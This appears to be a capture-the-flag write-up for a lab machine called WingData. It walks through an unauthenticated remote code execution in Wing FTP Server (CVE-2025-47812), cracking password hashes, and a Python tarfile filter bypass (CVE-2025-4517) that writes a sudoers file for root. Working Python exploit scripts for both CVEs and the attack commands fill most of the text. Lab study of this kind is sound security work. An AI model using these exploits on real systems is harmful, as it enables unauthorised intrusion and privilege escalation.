Machine Info

  • Name: WingData
  • IP: 10.129.244.106
  • OS: Linux (Debian 6.1.0-42)
  • Difficulty: Easy
  • Key Skills: CVE Exploitation, FTP Server Misconfiguration, Password Hash Cracking, Python tarfile Filter Bypass

Summary

WingData is a Linux machine running Wing FTP Server v7.4.3, vulnerable to CVE-2025-47812 - an unauthenticated Remote Code Execution via NULL-byte authentication bypass and Lua code injection. Initial access as the wingftp service account reveals user password hashes in Wing FTP XML configuration files. Cracking the wacky user’s SHA-256 hash (salted with “WingFTP”) provides SSH credentials. Privilege escalation exploits CVE-2025-4517, a Python tarfile extraction filter bypass via PATH_MAX overflow, through a sudo-permitted backup restoration script that extracts tar archives as root.

Attack Chain:

CVE-2025-47812 → wingftp RCE → hash extraction → crack wacky password → SSH → CVE-2025-4517 tarfile bypass → root

Reconnaissance

Port Scan

nmap -sC -sV 10.129.244.106

Key open ports:

Port Service Details
22 SSH OpenSSH 9.2p1 Debian
80 HTTP Wing FTP Server v7.4.3 Web Interface

The HTTP service on port 80 returns a 301 Moved Permanently redirect to http://wingdata.htb/, revealing the hostname. Adding wingdata.htb and ftp.wingdata.htb to /etc/hosts allows accessing the Wing FTP web interface.

Virtual Host Discovery

The Wing FTP server responds to the virtual host ftp.wingdata.htb, which serves the FTP web client interface at the root path.


Initial Foothold - CVE-2025-47812

Vulnerability Overview

CVE-2025-47812 is an unauthenticated Remote Code Execution vulnerability in Wing FTP Server v7.4.3. The exploit works in two stages:

  1. NULL-byte authentication bypass: Sending a username containing a NULL byte (%00) followed by Lua code to /loginok.html bypasses authentication and injects Lua code into the session handler.
  2. Lua code execution: When the session is accessed via /dir.html, the injected Lua code executes server-side with the privileges of the Wing FTP service.

Exploitation

The exploit payload injects Lua io.popen() calls after the NULL byte to achieve command execution:

POST /loginok.html HTTP/1.1
Host: wingdata.htb

username=anonymous%00]]
local h = io.popen("COMMAND")
local r = h:read("*a")
h:close()
print(r)
--&password=

Due to session contention on shared HTB boxes (Wing FTP has a limited anonymous session pool), a retry-based Python exploit helper is essential:

import requests, time

target = 'http://10.129.244.106'
headers = {'Host': 'wingdata.htb'}

def run(cmd, max_attempts=100):
    for attempt in range(max_attempts):
        try:
            payload = (
                f'username=anonymous%00]]%0d'
                f'local+h+%3d+io.popen("{cmd}")%0d'
                f'local+r+%3d+h%3aread("*a")%0d'
                f'h%3aclose()%0dprint(r)%0d--&password='
            )
            r = requests.post(
                f'{target}/loginok.html',
                headers=headers, data=payload, timeout=3
            )
            uid = r.cookies.get("UID")
            if uid:
                r2 = requests.get(
                    f'{target}/dir.html',
                    headers=headers,
                    cookies={"UID": uid}, timeout=5
                )
                output = r2.text.split("<?xml")[0].strip()
                # Always logout to free the session slot
                requests.get(
                    f'{target}/logout.html',
                    headers=headers,
                    cookies={"UID": uid}, timeout=2
                )
                return output if output else "(empty)"
            time.sleep(0.3)
        except:
            time.sleep(0.2)
    return "FAILED"

print(run('id'))
# uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)

We get RCE as wingftp (uid=1000).


Lateral Movement - Hash Cracking

Extracting Wing FTP User Hashes

Wing FTP stores user credentials in XML configuration files. The server installation is at /opt/wftpserver/:

# List user config files
run('ls /opt/wftpserver/Data/1/users/')
# anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

Reading XML files via the exploit requires base64 encoding, since the XML content gets consumed by the response parser:

run('cat /opt/wftpserver/Data/1/users/wacky.xml | base64')
# Decode to find: <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>

Extracted Hashes

  • wacky: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
  • john: c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
  • steve: 5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
  • maria: a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03

The admin hash from /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml:

  • admin: a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba

Cracking the Hashes

Wing FTP Server uses SHA-256 with a static salt appended to the password. The default salt is "WingFTP". The hash format is:

SHA256(password + "WingFTP")

This corresponds to hashcat mode 1410 (sha256($pass.$salt)):

# Format: hash:salt
echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > wacky_hash.txt

hashcat -m 1410 wacky_hash.txt /usr/share/wordlists/rockyou.txt

Cracked password for wacky: !#7Blushing^*Bride5

SSH Access

ssh [email protected]
# Password: !#7Blushing^*Bride5

User Flag

cat /home/wacky/user.txt
# 9d2d720ba67c80e9338cd3159737ec6b

Privilege Escalation - CVE-2025-4517

Enumeration

Checking sudo privileges reveals a custom backup restoration script:

sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script at /opt/backup_clients/restore_backup_clients.py accepts a backup tar file and extracts it using Python’s tarfile module with the filter="data" safety filter:

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Vulnerability Overview

CVE-2025-4517 (also referenced as CVE-2025-4138) is a vulnerability in Python’s tarfile module where the filter="data" extraction filter can be bypassed using PATH_MAX overflow.

The filter="data" option uses os.path.realpath(strict=False) to verify that extracted files stay within the target directory. However, when the resolved path exceeds Linux’s PATH_MAX (4096 bytes), os.path.realpath() silently stops resolving symlinks and falls back to string manipulation. This allows a crafted symlink chain to escape the extraction directory.

Building the Exploit

The exploit creates a tar archive with:

  1. Symlink chain inflation: 16 levels of directories with 247-character names, each paired with a single-character symlink pointing to it. This consumes most of the PATH_MAX budget.
  2. Pivot symlink: A long-named symlink in the chain that points back to the extraction root via ../ traversal.
  3. Escape symlink: Points through the pivot to reach /etc on the filesystem.
  4. Payload file: Written at escape/sudoers.d/wacky to grant passwordless sudo.
#!/usr/bin/env python3
import io, os, tarfile

DIR_COMP_LEN = 247
CHAIN_STEPS = 'abcdefghijklmnop'
LONG_LINK_LEN = 254
target_user = 'wacky'
payload = f'{target_user} ALL=(ALL) NOPASSWD: ALL\n'.encode()

with tarfile.open('backup_1001.tar', 'w') as tar:
    comp = 'd' * DIR_COMP_LEN
    inner_path = ''

    # Stage 1: Inflate PATH_MAX with symlink chain
    for step in CHAIN_STEPS:
        d_path = os.path.join(inner_path, comp)
        d = tarfile.TarInfo(name=d_path)
        d.type = tarfile.DIRTYPE
        d.mode = 0o755
        tar.addfile(d)

        s = tarfile.TarInfo(name=os.path.join(inner_path, step))
        s.type = tarfile.SYMTYPE
        s.linkname = comp
        tar.addfile(s)
        inner_path = d_path

    # Stage 2: Pivot symlink back to extraction root
    pivot_name = os.path.join('/'.join(CHAIN_STEPS), 'l' * LONG_LINK_LEN)
    pivot = tarfile.TarInfo(name=pivot_name)
    pivot.type = tarfile.SYMTYPE
    pivot.linkname = '../' * len(CHAIN_STEPS)
    tar.addfile(pivot)

    # Stage 3: Escape to /etc via pivot
    esc = tarfile.TarInfo(name='escape')
    esc.type = tarfile.SYMTYPE
    esc.linkname = pivot_name + '/' + ('../' * 8) + 'etc'
    tar.addfile(esc)

    # Stage 4: Write sudoers payload
    sd = tarfile.TarInfo(name='escape/sudoers.d')
    sd.type = tarfile.DIRTYPE
    sd.mode = 0o755
    tar.addfile(sd)

    p = tarfile.TarInfo(name=f'escape/sudoers.d/{target_user}')
    p.size = len(payload)
    p.mode = 0o440
    p.type = tarfile.REGTYPE
    tar.addfile(p, io.BytesIO(payload))

Exploitation

# Copy the malicious tar to the backup directory
cp /tmp/backup_1001.tar /opt/backup_clients/backups/backup_1001.tar

# Run the vulnerable restore script as root
sudo /usr/local/bin/python3 \
  /opt/backup_clients/restore_backup_clients.py \
  -b backup_1001.tar -r restore_wacky

# Verify the sudoers file was created
ls -la /etc/sudoers.d/
# -rw-r----- 1 root root 30 Dec 31  1969 wacky

# Escalate to root
sudo su

Root Flag

cat /root/root.txt
# eebd21a5625d5e5b0a7b28ae68e02070

Key Takeaways

  • CVE-2025-47812 demonstrates how NULL-byte injection can bypass authentication in applications that mix C-style string handling (NULL termination) with higher-level language processing (Lua).
  • Wing FTP’s static salt (“WingFTP”) for password hashing makes all instances share the same salt, enabling pre-computation attacks. A per-user random salt would significantly harden password storage.
  • CVE-2025-4517 is a subtle vulnerability that exploits the gap between userspace path validation (os.path.realpath) and kernel-level symlink resolution when paths exceed PATH_MAX. Python’s filter="data" was introduced specifically as a security measure, but this bypass renders it ineffective on paths exceeding 4096 bytes.
  • Defense in depth: The sudo rule should have restricted the --backup argument to prevent user-controlled tar files, or used a dedicated extraction method that validates paths at the kernel level rather than relying on Python’s userspace checks.